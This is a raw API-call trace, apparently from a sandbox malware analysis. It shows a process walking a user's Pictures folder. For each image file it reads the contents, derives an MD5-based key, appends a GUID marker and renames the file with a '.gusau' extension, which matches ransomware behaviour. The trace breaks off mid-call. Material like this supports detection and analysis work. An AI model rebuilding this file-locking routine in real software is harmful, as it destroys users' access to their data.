RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a510 | out: hHeap=0xd10000) returned 1 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.017] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\") returned="fXLlrMkF3y385T7R_VK\\" [0119.017] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.018] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0119.018] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\") returned="KkXM-cBNoii_tDa0YyP\\" [0119.018] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\") returned="kuLBm0R5-grtJK8w\\" [0119.018] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0119.018] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.018] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.018] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.018] PathFindFileNameW (pszPath="") returned="" [0119.018] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59728710, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x955379a0, ftLastAccessTime.dwHighDateTime=0x1d4cc9b, ftLastWriteTime.dwLowDateTime=0x955379a0, ftLastWriteTime.dwHighDateTime=0x1d4cc9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.020] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59728710, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x955379a0, ftLastAccessTime.dwHighDateTime=0x1d4cc9b, ftLastWriteTime.dwLowDateTime=0x955379a0, ftLastWriteTime.dwHighDateTime=0x1d4cc9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.020] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24d4310, ftCreationTime.dwHighDateTime=0x1d4c600, ftLastAccessTime.dwLowDateTime=0xecb816a0, ftLastAccessTime.dwHighDateTime=0x1d4ceef, ftLastWriteTime.dwLowDateTime=0xecb816a0, ftLastWriteTime.dwHighDateTime=0x1d4ceef, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NSMy5XFpc9v55E4.png", cAlternateFileName="NSMY5X~1.PNG")) returned 1 [0119.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\NSMy5XFpc9v55E4.png") returned=".png" [0119.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\NSMy5XFpc9v55E4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\nsmy5xfpc9v55e4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.020] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=17308) returned 1 [0119.020] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.023] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x4376, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.023] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.024] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x439c, lpOverlapped=0x0) returned 1 [0119.025] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.025] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.025] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.025] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.026] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.026] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.026] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.026] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.026] GetLastError () returned 0x0 [0119.026] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.026] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.026] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x439c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.026] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.026] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.026] CloseHandle (hObject=0x610) returned 1 [0119.027] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\NSMy5XFpc9v55E4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\nsmy5xfpc9v55e4.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\NSMy5XFpc9v55E4.png.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\nsmy5xfpc9v55e4.png.gusau")) returned 1 [0119.028] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48c07610, ftCreationTime.dwHighDateTime=0x1d4cf6b, ftLastAccessTime.dwLowDateTime=0xb3219830, ftLastAccessTime.dwHighDateTime=0x1d4d3bd, ftLastWriteTime.dwLowDateTime=0xb3219830, ftLastWriteTime.dwHighDateTime=0x1d4d3bd, nFileSizeHigh=0x0, nFileSizeLow=0xf195, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sMjYpjKhyZpf8TNaMG.gif", cAlternateFileName="SMJYPJ~1.GIF")) returned 1 [0119.028] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\sMjYpjKhyZpf8TNaMG.gif") returned=".gif" [0119.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\sMjYpjKhyZpf8TNaMG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\smjypjkhyzpf8tnamg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.029] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=61845) returned 1 [0119.029] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.031] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf16f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.031] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.033] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf195, lpOverlapped=0x0) returned 1 [0119.033] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.033] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.033] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.033] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.034] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.034] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.034] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.034] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.034] GetLastError () returned 0x0 [0119.034] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.034] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.035] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf195, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.035] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.035] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.035] CloseHandle (hObject=0x610) returned 1 [0119.036] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\sMjYpjKhyZpf8TNaMG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\smjypjkhyzpf8tnamg.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\sMjYpjKhyZpf8TNaMG.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\smjypjkhyzpf8tnamg.gif.gusau")) returned 1 [0119.037] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb21cb40, ftCreationTime.dwHighDateTime=0x1d4cae8, ftLastAccessTime.dwLowDateTime=0x39877430, ftLastAccessTime.dwHighDateTime=0x1d4c9e1, ftLastWriteTime.dwLowDateTime=0x39877430, ftLastWriteTime.dwHighDateTime=0x1d4c9e1, nFileSizeHigh=0x0, nFileSizeLow=0xbba2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V6CUx4Z.png", cAlternateFileName="")) returned 1 [0119.037] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\V6CUx4Z.png") returned=".png" [0119.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\fXLlrMkF3y385T7R_VK\\V6CUx4Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\fxllrmkf3y385t7r_vk\\v6cux4z.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.038] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=48034) returned 1 [0119.038] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.040] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xbb7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.040] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.042] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xbba2, lpOverlapped=0x0) returned 1 [0119.043] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.043] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.043] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.043] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.044] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.044] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.044] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.044] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.044] GetLastError () returned 0x0 [0119.044] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.044] CryptReleaseContext 